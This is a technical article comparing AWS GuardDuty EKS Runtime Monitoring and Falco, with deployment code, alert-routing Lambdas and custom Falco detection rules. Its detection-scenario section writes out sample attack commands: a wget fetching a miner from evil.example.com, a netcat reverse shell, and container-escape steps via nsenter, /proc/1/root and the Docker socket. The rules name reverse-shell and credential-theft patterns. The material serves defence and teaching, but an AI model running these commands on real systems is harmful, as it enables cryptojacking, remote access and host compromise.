EKS runtime security architecture showing GuardDuty and Falco monitoring paths
- Introduction
- AWS GuardDuty EKS Runtime Monitoring
- Falco: Open-Source Runtime Security
- Head-to-Head Comparison
- Real Detection Scenarios
- When to Use Which: Decision Framework
- Defense-in-Depth: Running Both Together
- Best Practices and Recommendations
- Related Articles
- Conclusion
Introduction
Kubernetes clusters are under siege. The moment you spin up an EKS cluster, the clock starts ticking – research shows that EKS clusters face their first attack attempt within 28 minutes of creation. Runtime security is no longer optional; it is the final line of defense when everything else – image scanning, admission controllers, network policies – has already been bypassed.
Two dominant approaches have emerged for EKS runtime threat detection: AWS GuardDuty EKS Runtime Monitoring, the fully managed AWS-native option, and Falco, the CNCF graduated open-source project that has become the de facto standard for Kubernetes runtime security. Both leverage eBPF to observe kernel-level system calls, but they take fundamentally different paths from there.
This article provides a head-to-head technical comparison with real detection scenarios, working deployment code, and a decision framework so you can choose the right tool – or combine both for defense-in-depth.
Current Landscape Statistics
- Attack Frequency: 90% of organizations experienced at least one Kubernetes security incident in the past year, with 58% reporting container-specific breaches (Wiz Kubernetes Security Report 2025)
- Business Impact: 46% of organizations experienced revenue or customer loss due to container security incidents (Tigera Kubernetes Statistics)
- Time to Attack: EKS clusters are targeted within 28 minutes of creation, while AKS clusters face attacks within 18 minutes (Ananta Cloud 2026 Report)
- Deployment Slowdowns: 67% of organizations have delayed deployments due to Kubernetes security concerns (Mend.io Kubernetes Security)
- Machine Identity Explosion: Machine identities now outnumber humans by 40,000:1, with Kubernetes service accounts posing the highest identity risk (CNCF Security Features 2025)
AWS GuardDuty EKS Runtime Monitoring
How It Works
GuardDuty EKS Runtime Monitoring deploys a fully managed security agent as a DaemonSet across your EKS cluster worker nodes. The agent uses an eBPF probe to observe system calls at the kernel level – file access, process execution, and network connections – without requiring sidecar containers or application modifications.
The architecture works in three layers:
- eBPF Agent (DaemonSet): Collects runtime events from all pods on each node
- GuardDuty Service Backend: Correlates events with AWS threat intelligence, ML models, and known attack patterns
- Findings Pipeline: Publishes findings to GuardDuty console, Security Hub, EventBridge, and CloudWatch
A significant 2025 enhancement introduced Extended Threat Detection, which correlates security signals across EKS audit logs, runtime behavior, malware execution, and AWS API activity to detect multi-stage attacks targeting EKS clusters. This means GuardDuty can now identify attack chains where an attacker compromises a pod, escalates privileges, exfiltrates credentials, and makes API calls to other AWS services – all as a single correlated finding.
Key Detection Categories
GuardDuty EKS Runtime Monitoring detects threats across these finding types:
- Execution: Reverse shells, suspicious binary execution, container escape attempts
- Cryptomining: XMRig and other miner detection via process and network signatures
- Credential Access: IMDS credential harvesting, secrets access from unexpected processes
- Privilege Escalation: Unexpected privilege changes, namespace breakout attempts
- Discovery: Kubernetes API enumeration, network scanning from pods
- Defense Evasion: Log tampering, agent disabling, file modification in critical paths
Enabling GuardDuty EKS Runtime Monitoring with Terraform
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# guardduty-eks-runtime.tf
resource "aws_guardduty_detector" "main" {
enable = true
datasources {
kubernetes {
audit_logs {
enable = true
}
}
}
}
resource "aws_guardduty_detector_feature" "eks_runtime" {
detector_id = aws_guardduty_detector.main.id
name = "EKS_RUNTIME_MONITORING"
status = "ENABLED"
additional_configuration {
name = "EKS_ADDON_MANAGEMENT"
status = "ENABLED"
}
}
# Optional: Organization-wide enablement
resource "aws_guardduty_organization_configuration_feature" "eks_runtime_org" {
detector_id = aws_guardduty_detector.main.id
name = "EKS_RUNTIME_MONITORING"
auto_enable = "ALL"
additional_configuration {
name = "EKS_ADDON_MANAGEMENT"
auto_enable = "ALL"
}
}
With EKS_ADDON_MANAGEMENT enabled, GuardDuty automatically manages the security agent deployment across your clusters. You do not need to install or maintain the agent yourself – it runs as a managed EKS add-on.
Verifying Agent Deployment
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Check the GuardDuty agent DaemonSet status
kubectl get daemonset -n amazon-guardduty
# Verify agent pods are running on all nodes
kubectl get pods -n amazon-guardduty -o wide
# Check agent health
kubectl logs -n amazon-guardduty -l app=guardduty-agent --tail=20
# List current GuardDuty findings for EKS
aws guardduty list-findings \
--detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \
--finding-criteria '{
"Criterion": {
"resource.resourceType": {
"Eq": ["EKSCluster"]
},
"severity": {
"Gte": 7
}
}
}'
Automating GuardDuty Alerts with Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
"""
GuardDuty EKS Runtime Finding Processor
Processes GuardDuty findings via EventBridge and routes
high-severity EKS runtime alerts to SNS and Slack.
"""
import json
import boto3
import os
from datetime import datetime
sns_client = boto3.client("sns")
guardduty_client = boto3.client("guardduty")
CRITICAL_SNS_TOPIC = os.environ.get(
"CRITICAL_SNS_TOPIC",
"arn:aws:sns:us-east-1:181303648587:alert-critical"
)
LOW_SNS_TOPIC = os.environ.get(
"LOW_SNS_TOPIC",
"arn:aws:sns:us-east-1:181303648587:alert-low"
)
def lambda_handler(event, context):
"""Process GuardDuty EKS Runtime findings from EventBridge."""
detail = event.get("detail", {})
finding_type = detail.get("type", "")
severity = detail.get("severity", 0)
title = detail.get("title", "Unknown Finding")
description = detail.get("description", "")
# Extract EKS-specific context
resource = detail.get("resource", {})
eks_cluster = resource.get("eksClusterDetails", {})
cluster_name = eks_cluster.get("name", "unknown")
# Extract runtime context if available
runtime_details = detail.get("service", {}).get(
"runtimeDetails", {}
)
process_name = runtime_details.get("process", {}).get(
"name", "N/A"
)
container_name = runtime_details.get("context", {}).get(
"containerName", "N/A"
)
namespace = runtime_details.get("context", {}).get(
"namespace", "N/A"
)
# Build alert message
alert = {
"source": "GuardDuty EKS Runtime",
"timestamp": datetime.utcnow().isoformat(),
"cluster": cluster_name,
"namespace": namespace,
"container": container_name,
"process": process_name,
"finding_type": finding_type,
"severity": severity,
"title": title,
"description": description,
"finding_id": detail.get("id", ""),
}
# Route based on severity
topic_arn = (
CRITICAL_SNS_TOPIC if severity >= 7 else LOW_SNS_TOPIC
)
sns_client.publish(
TopicArn=topic_arn,
Subject=f"[EKS Runtime] {title} - {cluster_name}",
Message=json.dumps(alert, indent=2),
)
# For critical findings, trigger automated response
if severity >= 8:
trigger_incident_response(alert)
return {
"statusCode": 200,
"finding_type": finding_type,
"severity": severity,
"action": "alerted",
}
def trigger_incident_response(alert):
"""Initiate automated incident response for critical findings."""
# Example: Isolate the pod by applying a deny-all NetworkPolicy
print(
f"CRITICAL: Initiating incident response for "
f"{alert['container']} in {alert['namespace']}"
)
# In production, invoke a Step Function or Lambda
# that applies NetworkPolicy isolation, captures forensics,
# and notifies the on-call team
EventBridge Rule for EKS Runtime Findings
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# eventbridge-guardduty-eks.tf
resource "aws_cloudwatch_event_rule" "guardduty_eks_runtime" {
name = "guardduty-eks-runtime-findings"
description = "Capture GuardDuty EKS Runtime Monitoring findings"
event_pattern = jsonencode({
source = ["aws.guardduty"]
detail-type = ["GuardDuty Finding"]
detail = {
type = [{
prefix = "Execution:"
}, {
prefix = "CryptoCurrency:"
}, {
prefix = "PrivilegeEscalation:"
}, {
prefix = "UnauthorizedAccess:"
}]
resource = {
resourceType = ["EKSCluster"]
}
}
})
}
resource "aws_cloudwatch_event_target" "guardduty_processor" {
rule = aws_cloudwatch_event_rule.guardduty_eks_runtime.name
target_id = "guardduty-eks-processor"
arn = aws_lambda_function.guardduty_processor.arn
}
resource "aws_lambda_permission" "allow_eventbridge" {
statement_id = "AllowEventBridge"
action = "lambda:InvokeFunction"
function_name = aws_lambda_function.guardduty_processor.function_name
principal = "events.amazonaws.com"
source_arn = aws_cloudwatch_event_rule.guardduty_eks_runtime.arn
}
Falco: Open-Source Runtime Security
How It Works
Falco is a CNCF graduated project that functions as a runtime security engine for containers and Kubernetes. Like GuardDuty, it uses an eBPF probe attached to the kernel to observe system calls – but that is where the managed experience ends and the open-source flexibility begins.
Falco’s architecture consists of:
- eBPF Driver: The modern eBPF probe (default since Falco 0.38.0) captures kernel events without requiring kernel modules, running in a distroless/no-driver configuration
- Rules Engine: A powerful YAML-based rules language that lets you define exactly what constitutes a threat in your environment
- Falcosidekick: A companion project that routes alerts to 50+ output destinations (Slack, PagerDuty, AWS services, Elasticsearch, and more)
- Kubernetes Operator (emerging in 0.41.0): Deeper native integration for managing Falco deployments declaratively
Falco 0.41.0 (May 2025) introduced reimplemented container engine support, improved eBPF security by moving sensitive settings from mmapable .bss segments to dedicated maps, and a Kubernetes operator for simplified lifecycle management.
Key Advantages Over Managed Solutions
- Custom Rules: Write detection logic specific to your applications and threat model
- Multi-Cloud Portability: Same rules and tooling across AWS, GCP, Azure, and on-premises
- Full Transparency: Inspect every rule, understand every alert, no black-box ML
- Community Rules: Leverage a massive library of community-contributed detection rules
- No Per-Resource Pricing: Open source with no per-node or per-cluster charges
- Response Integration: 50+ output targets via Falcosidekick for flexible alert routing
Deploying Falco on EKS with Helm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Add the Falco Helm repository
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update
# Create namespace
kubectl create namespace falco
# Deploy Falco with eBPF driver and Falcosidekick
helm install falco falcosecurity/falco \
--namespace falco \
--set falcosidekick.enabled=true \
--set falcosidekick.webui.enabled=true \
--set driver.kind=modern_ebpf \
--set collectors.kubernetes.enabled=true \
--set falco.json_output=true \
--set falco.log_stderr=true \
--set falco.log_level=info \
--set customRules."custom-rules\.yaml"="$(cat custom-rules.yaml)"
Or use a values.yaml for production deployments:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# falco-values.yaml
driver:
kind: modern_ebpf
falco:
json_output: true
log_stderr: true
log_level: info
priority: warning
grpc:
enabled: true
grpc_output:
enabled: true
collectors:
kubernetes:
enabled: true
containerd:
enabled: true
falcosidekick:
enabled: true
webui:
enabled: true
replicaCount: 1
config:
slack:
webhookurl: "" # Set via --set or secret
minimumpriority: "warning"
aws:
cloudwatchlogs:
loggroup: "/eks/falco/alerts"
logstream: ""
minimumpriority: "warning"
sns:
topicarn: "arn:aws:sns:us-east-1:181303648587:alert-critical"
minimumpriority: "critical"
s3:
bucket: "my-falco-logs-bucket"
prefix: "falco/"
minimumpriority: "notice"
tolerations:
- effect: NoSchedule
operator: Exists
resources:
requests:
cpu: 100m
memory: 512Mi
limits:
cpu: 1000m
memory: 1024Mi
1
2
3
4
5
6
7
8
# Deploy with values file
helm install falco falcosecurity/falco \
--namespace falco \
--values falco-values.yaml
# Verify deployment
kubectl get pods -n falco
kubectl logs -n falco -l app.kubernetes.io/name=falco --tail=20
Custom Falco Rules for Common Threats
The real power of Falco lies in writing rules that match your specific environment. Here is a production-ready custom rules file covering the most common EKS threats:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
# custom-rules.yaml
# -------------------------------------------------------------------
# Rule: Detect Cryptomining Processes
# Scenario: Attacker deploys XMRig or similar miner in a compromised pod
# -------------------------------------------------------------------
- rule: Detect Cryptomining Binary Execution
desc: >
Detects execution of known cryptocurrency mining binaries
in any container. Covers XMRig, ethminer, cgminer, and
common pool connections.
condition: >
spawned_process and container and
(proc.name in (xmrig, minerd, minergate-cli, cgminer,
bfgminer, ethminer, cpuminer, cpuminer-multi,
t-rex, phoenixminer, nbminer, gminer) or
proc.cmdline contains "stratum+tcp://" or
proc.cmdline contains "stratum+ssl://" or
proc.cmdline contains "--donate-level" or
proc.cmdline contains "pool.minexmr.com" or
proc.cmdline contains "monerohash.com")
output: >
Cryptominer detected in container
(user=%user.name command=%proc.cmdline container=%container.name
namespace=%k8s.ns.name pod=%k8s.pod.name
image=%container.image.repository)
priority: CRITICAL
tags: [cryptomining, mitre_execution, T1496]
# -------------------------------------------------------------------
# Rule: Detect Reverse Shell
# Scenario: Attacker establishes outbound shell after initial access
# -------------------------------------------------------------------
- rule: Reverse Shell in Container
desc: >
Detects reverse shell connections from containers using
common techniques: bash -i redirect, netcat, socat, python,
and perl reverse shells.
condition: >
spawned_process and container and
((proc.name = bash and proc.cmdline contains "/dev/tcp/") or
(proc.name in (nc, ncat, netcat) and
proc.cmdline contains "-e") or
(proc.name = socat and
proc.cmdline contains "exec:") or
(proc.name = python and
proc.cmdline contains "socket" and
proc.cmdline contains "connect") or
(proc.name = perl and
proc.cmdline contains "socket"))
output: >
Reverse shell detected
(user=%user.name command=%proc.cmdline container=%container.name
namespace=%k8s.ns.name pod=%k8s.pod.name
connection=%fd.name)
priority: CRITICAL
tags: [reverse_shell, mitre_execution, T1059]
# -------------------------------------------------------------------
# Rule: Detect Container Escape Attempts
# Scenario: Attacker attempts to break out of container isolation
# -------------------------------------------------------------------
- rule: Container Escape via nsenter or chroot
desc: >
Detects attempts to escape container isolation using nsenter,
chroot to host filesystem, or access to Docker socket.
condition: >
spawned_process and container and
(proc.name = nsenter or
(proc.name = chroot and proc.cmdline contains "/host") or
(proc.name = mount and proc.cmdline contains "/var/run/docker.sock") or
proc.cmdline contains "/.dockerenv" or
proc.cmdline contains "/proc/1/root")
output: >
Container escape attempt detected
(user=%user.name command=%proc.cmdline container=%container.name
namespace=%k8s.ns.name pod=%k8s.pod.name)
priority: CRITICAL
tags: [container_escape, mitre_privilege_escalation, T1611]
# -------------------------------------------------------------------
# Rule: Detect Unexpected Privilege Escalation
# Scenario: Process gains root privileges inside a container
# -------------------------------------------------------------------
- rule: Privilege Escalation via setuid Binary
desc: >
Detects execution of setuid/setgid binaries or direct calls
to privilege escalation tools inside containers.
condition: >
spawned_process and container and
(proc.name in (su, sudo, doas) or
(proc.name = chmod and proc.cmdline contains "+s") or
(proc.name = chown and proc.args contains "root"))
output: >
Privilege escalation attempt
(user=%user.name command=%proc.cmdline container=%container.name
namespace=%k8s.ns.name pod=%k8s.pod.name)
priority: WARNING
tags: [privilege_escalation, mitre_privilege_escalation, T1548]
# -------------------------------------------------------------------
# Rule: Detect Kubernetes API Enumeration
# Scenario: Compromised pod probes the K8s API for lateral movement
# -------------------------------------------------------------------
- rule: Kubernetes API Access from Container
desc: >
Detects curl or wget requests to the Kubernetes API server
from within a container, which may indicate reconnaissance
or credential theft attempts.
condition: >
spawned_process and container and
(proc.name in (curl, wget) and
(proc.cmdline contains "kubernetes.default" or
proc.cmdline contains "10.96.0.1" or
proc.cmdline contains "/api/v1/secrets" or
proc.cmdline contains "/api/v1/namespaces"))
output: >
Kubernetes API access from container
(user=%user.name command=%proc.cmdline container=%container.name
namespace=%k8s.ns.name pod=%k8s.pod.name)
priority: WARNING
tags: [k8s_api_access, mitre_discovery, T1613]
# -------------------------------------------------------------------
# Rule: Detect IMDS Credential Harvesting
# Scenario: Pod attempts to steal IAM credentials via metadata service
# -------------------------------------------------------------------
- rule: IMDS Credential Access from Container
desc: >
Detects attempts to access the EC2 Instance Metadata Service
(IMDS) to harvest IAM role credentials from containers.
condition: >
spawned_process and container and
(proc.name in (curl, wget) and
(proc.cmdline contains "169.254.169.254" or
proc.cmdline contains "metadata.google.internal"))
output: >
IMDS credential harvesting attempt
(user=%user.name command=%proc.cmdline container=%container.name
namespace=%k8s.ns.name pod=%k8s.pod.name)
priority: CRITICAL
tags: [credential_access, mitre_credential_access, T1552]
Head-to-Head Comparison
| Feature | GuardDuty EKS Runtime | Falco |
|---|---|---|
| Detection Engine | Managed ML + threat intel + eBPF | eBPF + custom rules engine |
| Deployment | Managed DaemonSet (EKS add-on) | Helm chart DaemonSet |
| Custom Rules | No – AWS-curated findings only | Full custom YAML rules |
| Multi-Cloud | AWS only | AWS, GCP, Azure, on-prem |
| Threat Intel Integration | AWS threat intelligence feeds | Community rules, custom feeds |
| Alert Outputs | Security Hub, EventBridge, CloudWatch | 50+ outputs via Falcosidekick |
| Extended Threat Detection | Multi-stage attack correlation | Manual correlation required |
| Maintenance | Zero – fully managed by AWS | You manage upgrades, rules, scaling |
| Pricing | Per vCPU-hour (approx $1.50/vCPU/month) | Free (OSS) + compute costs |
| EKS Auto Mode Support | Yes | Requires node access |
| Compliance Reporting | Security Hub integration | Manual or third-party |
| Transparency | Black-box ML models | Full rule inspection |
| Container Runtime Support | containerd (EKS default) | containerd, CRI-O, Docker |
| Response Automation | EventBridge + Lambda | Falcosidekick + any target |
| Learning Curve | Low – enable and forget | Medium – rules authoring required |
| Community | AWS support channels | CNCF community, Slack, GitHub |
Cost Comparison for a Typical EKS Deployment
For a cluster with 10 nodes, each running 4 vCPUs (40 vCPUs total):
| Cost Component | GuardDuty | Falco |
|---|---|---|
| Service cost | ~$60/month (40 vCPUs x $1.50) | $0 (open source) |
| Compute overhead | ~5% CPU per node (managed) | ~100m-1000m CPU per node |
| Storage | Included in GuardDuty | S3/CloudWatch log costs |
| Alerting | EventBridge + SNS (minimal) | Falcosidekick compute + targets |
| Staff time | Minimal | Rules authoring + maintenance |
| Estimated monthly total | ~$65-80 | ~$10-30 (compute + storage) |
The real cost difference is operational: GuardDuty requires near-zero maintenance while Falco requires ongoing rules management and upgrades. For teams with security engineering capacity, Falco’s lower direct cost and full customization make it compelling. For teams prioritizing speed, GuardDuty’s managed experience wins.
Real Detection Scenarios
Scenario 1: Cryptomining Attack
An attacker exploits a vulnerable web application running in your EKS cluster, gains shell access, and deploys XMRig to mine Monero.
Attack chain:
1
2
3
4
5
6
7
# Attacker exploits RCE vulnerability
curl -X POST http://vulnerable-app/api/exec -d '{"cmd":"whoami"}'
# Downloads and runs XMRig
wget -q https://evil.example.com/xmrig -O /tmp/xmrig
chmod +x /tmp/xmrig
/tmp/xmrig --url stratum+tcp://pool.minexmr.com:4444 --user <wallet>
GuardDuty Detection:
- Finding type:
CryptoCurrency:Runtime/BitcoinTool.B - Severity: HIGH (8.0)
- Detection method: Process signature + network destination matching
- Time to detect: Near real-time (seconds to minutes)
- Response: EventBridge triggers Lambda for automated pod isolation
Falco Detection:
1
2
3
4
CRITICAL: Cryptominer detected in container
(user=www-data command=/tmp/xmrig --url stratum+tcp://pool.minexmr.com:4444
container=web-app namespace=production pod=web-app-7b9d4f6c-x2k1
image=myregistry/web-app:v2.3)
- Rule triggered:
Detect Cryptomining Binary Execution - Priority: CRITICAL
- Detection method: Process name + command line pattern matching
- Time to detect: Milliseconds (kernel-level)
- Response: Falcosidekick routes to SNS, Slack, and S3
Verdict: Both detect this reliably. GuardDuty adds network-level correlation (outbound to known mining pools). Falco gives you faster kernel-level detection and the ability to add custom mining pool addresses.
Scenario 2: Reverse Shell Establishment
After initial access, an attacker establishes persistence via a reverse shell using netcat.
Attack chain:
1
2
# Attacker establishes reverse shell
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.0.0.99 4444 > /tmp/f
GuardDuty Detection:
- Finding type:
Execution:Runtime/ReverseShell - Severity: HIGH (8.0)
- Details: Identifies the outbound connection, process tree, and container context
- Extended Threat Detection: Can correlate this with subsequent credential access
Falco Detection:
1
2
3
4
CRITICAL: Reverse shell detected
(user=www-data command=nc -e /bin/bash 10.0.0.99 4444
container=web-app namespace=production pod=web-app-7b9d4f6c-x2k1
connection=10.0.0.99:4444)
- Rule triggered:
Reverse Shell in Container - Includes full process tree and network connection details
Verdict: Both detect standard reverse shell techniques. GuardDuty’s Extended Threat Detection excels at correlating the reverse shell with subsequent attacker actions. Falco lets you write rules for custom or obfuscated reverse shell variants specific to your environment.
Scenario 3: Privilege Escalation and Container Escape
An attacker attempts to escape the container by accessing the host filesystem through /proc/1/root.
Attack chain:
1
2
3
4
5
6
7
8
# Attempt to access host filesystem
ls /proc/1/root/etc/shadow
# Try nsenter to break into host namespace
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# Access Docker socket if mounted
curl --unix-socket /var/run/docker.sock http://localhost/containers/json
GuardDuty Detection:
- Finding type:
PrivilegeEscalation:Runtime/ContainerEscape - Severity: CRITICAL (9.0)
- Detects nsenter, chroot, and Docker socket access patterns
- Correlates with pod security context (privileged mode, host PID)
Falco Detection:
1
2
3
CRITICAL: Container escape attempt detected
(user=root command=nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
container=web-app namespace=production pod=web-app-7b9d4f6c-x2k1)
Verdict: Both detect standard escape vectors. Falco lets you extend detection to application-specific escape patterns. GuardDuty correlates with the pod’s security context and IAM role to assess blast radius automatically.
When to Use Which: Decision Framework
Choose GuardDuty EKS Runtime Monitoring When
- AWS-only environment: Your Kubernetes workloads run exclusively on EKS
- Small security team: You need detection without dedicated rules engineers
- Compliance-first: You need Security Hub integration for compliance reporting
- Multi-stage detection: You want automatic correlation across EKS audit logs, runtime, and AWS API activity
- Speed to value: You want protection within minutes, not days
- EKS Auto Mode: You use EKS Auto Mode where node-level access is limited
Choose Falco When
- Multi-cloud or hybrid: You run Kubernetes across AWS, GCP, Azure, or on-premises
- Custom threat model: You need detection rules tailored to your specific applications
- Full transparency: You require complete visibility into what triggers alerts and why
- Cost optimization: You have the engineering capacity to manage Falco but want to minimize service costs
- Advanced customization: You need to detect application-specific behaviors, not just generic threats
- Existing CNCF stack: You already run Prometheus, Grafana, and other CNCF tools
Choose Both (Defense-in-Depth) When
- High-value targets: Your EKS clusters process sensitive data or financial transactions
- Regulated industries: Healthcare, finance, or government workloads requiring layered controls
- Security maturity: Your team has capacity to manage custom rules AND wants managed correlation
- Zero-trust posture: You want overlapping detection to minimize blind spots
Defense-in-Depth: Running Both Together
The optimal approach for production EKS clusters is running both tools simultaneously. They complement each other: GuardDuty provides managed threat intelligence and multi-stage correlation, while Falco provides custom application-aware rules and multi-cloud portability.
Combined Architecture
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
# main.tf -- Combined GuardDuty + Falco deployment
# --- GuardDuty EKS Runtime Monitoring ---
resource "aws_guardduty_detector" "main" {
enable = true
}
resource "aws_guardduty_detector_feature" "eks_runtime" {
detector_id = aws_guardduty_detector.main.id
name = "EKS_RUNTIME_MONITORING"
status = "ENABLED"
additional_configuration {
name = "EKS_ADDON_MANAGEMENT"
status = "ENABLED"
}
}
# --- Falco via Helm ---
resource "helm_release" "falco" {
name = "falco"
repository = "https://falcosecurity.github.io/charts"
chart = "falco"
namespace = "falco"
create_namespace = true
version = "4.x.x" # Pin to latest stable
values = [
templatefile("${path.module}/falco-values.yaml", {
sns_topic_arn = "arn:aws:sns:us-east-1:181303648587:alert-critical"
s3_bucket = aws_s3_bucket.falco_logs.id
cloudwatch_group = aws_cloudwatch_log_group.falco.name
})
]
depends_on = [
aws_guardduty_detector_feature.eks_runtime
]
}
# --- Shared Alert Infrastructure ---
resource "aws_s3_bucket" "falco_logs" {
bucket = "my-org-falco-logs-${data.aws_caller_identity.current.account_id}"
tags = {
Customer = "internal"
Application = "eks-security"
Environment = "prod"
Owner = "security-team"
Costcenter = "security"
}
}
resource "aws_cloudwatch_log_group" "falco" {
name = "/eks/falco/alerts"
retention_in_days = 90
tags = {
Customer = "internal"
Application = "eks-security"
Environment = "prod"
Owner = "security-team"
Costcenter = "security"
}
}
# Unified dashboard for both tools
resource "aws_cloudwatch_dashboard" "eks_security" {
dashboard_name = "EKS-Runtime-Security"
dashboard_body = jsonencode({
widgets = [
{
type = "metric"
x = 0
y = 0
width = 12
height = 6
properties = {
title = "GuardDuty EKS Findings"
metrics = [
["AWS/GuardDuty", "FindingsCount", "DetectorId",
aws_guardduty_detector.main.id]
]
period = 300
stat = "Sum"
region = "us-east-1"
}
},
{
type = "log"
x = 12
y = 0
width = 12
height = 6
properties = {
title = "Falco Alerts"
query = "SOURCE '/eks/falco/alerts' | stats count(*) by priority"
region = "us-east-1"
}
}
]
})
}
data "aws_caller_identity" "current" {}
Deduplication Strategy
When running both tools, you will see duplicate alerts for the same event. Implement a deduplication layer:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
"""
Alert Deduplication for GuardDuty + Falco
Processes alerts from both sources and deduplicates
based on pod, namespace, and time window.
"""
import json
import hashlib
import boto3
from datetime import datetime, timedelta
dynamodb = boto3.resource("dynamodb")
table = dynamodb.Table("eks-security-alerts")
DEDUP_WINDOW_MINUTES = 5
def generate_alert_key(alert):
"""Generate a deduplication key from alert properties."""
components = [
alert.get("namespace", ""),
alert.get("pod", ""),
alert.get("alert_type", ""),
]
raw_key = "|".join(components)
return hashlib.sha256(raw_key.encode()).hexdigest()[:16]
def is_duplicate(alert_key, timestamp):
"""Check if a similar alert was seen within the dedup window."""
cutoff = (
datetime.fromisoformat(timestamp)
- timedelta(minutes=DEDUP_WINDOW_MINUTES)
).isoformat()
response = table.get_item(Key={"alert_key": alert_key})
if "Item" in response:
last_seen = response["Item"]["last_seen"]
if last_seen > cutoff:
return True
return False
def record_alert(alert_key, timestamp, source):
"""Record alert for future deduplication."""
table.put_item(
Item={
"alert_key": alert_key,
"last_seen": timestamp,
"source": source,
"ttl": int(
(
datetime.fromisoformat(timestamp)
+ timedelta(hours=24)
).timestamp()
),
}
)
def lambda_handler(event, context):
"""Process and deduplicate alerts from both sources."""
source = event.get("source", "unknown")
timestamp = datetime.utcnow().isoformat()
# Normalize alert format from either source
if source == "aws.guardduty":
alert = normalize_guardduty(event)
elif source == "falcosidekick":
alert = normalize_falco(event)
else:
return {"statusCode": 400, "body": "Unknown source"}
alert_key = generate_alert_key(alert)
if is_duplicate(alert_key, timestamp):
return {
"statusCode": 200,
"body": "Duplicate alert suppressed",
"source": source,
}
record_alert(alert_key, timestamp, source)
# Forward deduplicated alert to unified pipeline
forward_alert(alert)
return {"statusCode": 200, "body": "Alert processed"}
def normalize_guardduty(event):
"""Normalize GuardDuty finding to common format."""
detail = event.get("detail", {})
resource = detail.get("resource", {})
eks = resource.get("eksClusterDetails", {})
runtime = detail.get("service", {}).get("runtimeDetails", {})
return {
"source": "guardduty",
"alert_type": detail.get("type", ""),
"severity": detail.get("severity", 0),
"namespace": runtime.get("context", {}).get("namespace", ""),
"pod": runtime.get("context", {}).get("podName", ""),
"container": runtime.get("context", {}).get(
"containerName", ""
),
"cluster": eks.get("name", ""),
"description": detail.get("description", ""),
}
def normalize_falco(event):
"""Normalize Falco alert to common format."""
output_fields = event.get("output_fields", {})
return {
"source": "falco",
"alert_type": event.get("rule", ""),
"severity": event.get("priority", ""),
"namespace": output_fields.get("k8s.ns.name", ""),
"pod": output_fields.get("k8s.pod.name", ""),
"container": output_fields.get("container.name", ""),
"cluster": output_fields.get("k8s.cluster.name", ""),
"description": event.get("output", ""),
}
def forward_alert(alert):
"""Forward deduplicated alert to the unified alert pipeline."""
sns = boto3.client("sns")
sns.publish(
TopicArn="arn:aws:sns:us-east-1:181303648587:alert-critical",
Subject=f"[EKS Security] {alert['alert_type']} - {alert['cluster']}",
Message=json.dumps(alert, indent=2),
)
Best Practices and Recommendations
1. Start with GuardDuty, Extend with Falco
Enable GuardDuty EKS Runtime Monitoring first – it takes minutes and provides immediate coverage. Once your team has capacity, layer Falco on top for custom detections that GuardDuty cannot provide.
2. Write Application-Specific Falco Rules
Generic rules catch generic attacks. The highest-value Falco rules are those written for your applications:
1
2
3
4
5
6
7
8
9
10
11
12
13
# Example: Detect unexpected database client in a web frontend pod
- rule: Unexpected DB Client in Frontend
desc: Frontend containers should never run database clients
condition: >
spawned_process and container and
k8s.ns.name = "frontend" and
proc.name in (mysql, psql, mongo, redis-cli, mongosh)
output: >
Database client in frontend container
(command=%proc.cmdline pod=%k8s.pod.name
namespace=%k8s.ns.name)
priority: CRITICAL
tags: [application_specific, lateral_movement]
3. Enforce Pod Security Standards
Runtime detection is your last line of defense. Reduce the attack surface first:
1
2
3
4
5
6
7
8
9
# Pod Security Standard: Restricted
apiVersion: v1
kind: Namespace
metadata:
name: production
labels:
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/warn: restricted
pod-security.kubernetes.io/audit: restricted
